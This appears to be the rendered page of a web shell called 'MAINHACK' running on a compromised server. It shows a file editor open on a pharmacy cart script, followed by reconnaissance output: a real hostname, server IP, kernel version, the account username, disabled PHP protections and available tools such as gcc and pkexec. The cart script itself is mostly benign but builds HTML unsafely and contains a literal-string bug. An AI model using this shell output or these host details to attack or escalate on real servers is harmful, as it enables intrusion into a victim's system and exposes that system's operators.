[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: __cart.js
"use strict" // Add to cart function ADD_TO_CART(id, getterUri) { console.log(id + " " + getterUri); $.ajaxSetup({ headers: { 'X-CSRF-TOKEN': $('meta[name="_token"]').attr('content') } }); // Get product by id $.post({ url: getterUri, data: {product_id: id}, beforeSend: function () { $('#loading').show(); }, success: function (data) { let table = $('#cart-table'); // Assuming the response contains a new medicine object let newMedicine = data.product; // Create a new table row with the medicine data let newRow = '<tr>' + '<td>' + newMedicine.name + '</td>' + '<td>' + '<select class="custom-input" name="cart[batch]">\n' + ' <option value="">Select Batch</option>\n'; // Generate the options for the batch select box $.each(newMedicine.batch, function (index, batch) { newRow += ' <option value="' + batch.id + '">' + batch.name + '</option>\n'; }); newRow += '</select>' + '</td>' + '<td>' + 'newMedicine.expiry_date' + '</td>' + '<td>' + '<input type="number" class="custom-input" name="cart[quantity]" min="1" value="1">' + '</td>' + '<td>' + '<input type="number" class="custom-input" name="cart[price]" min="0" step="0.01" value="' + newMedicine.price + '">' + '</td>' + '<td>' + '<input type="number" class="custom-input" name="cart[discount]" min="0" max="100" step="1" value="0">' + '</td>' + '<td class="total-cell">0.00</td>' + '</tr>'; // Append the new row to the table $('#cart-table tbody').append(newRow); // Calculate and update the total for this row updateRowTotal($('.total-cell').last()); // Add an event listener to the batch select box to update the row total $('select[name="cart[batch]"]').last().on('change', function () { updateRowTotal($(this).closest('tr').find('.total-cell')); }); // Add an event listener to the quantity and discount input boxes to update the row total $('input[name="cart[quantity]"], input[name="cart[discount]"], input[name="cart[price]"]').last().on('input', function () { updateRowTotal($(this).closest('tr').find('.total-cell')); }); // Function to update the total for a given row function updateRowTotal(totalCell) { var quantity = parseInt(totalCell.closest('tr').find('input[name="cart[quantity]"]').val()); var price = parseFloat(totalCell.closest('tr').find('input[name="cart[price]"]').val()); var discount = parseFloat(totalCell.closest('tr').find('input[name="cart[discount]"]').val()); var total = price * quantity * (1 - discount / 100); totalCell.text(total.toFixed(2)); } $('.search-result-box').empty().hide(); $('#search').val(''); }, complete: function () { $('#loading').hide(); } }); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002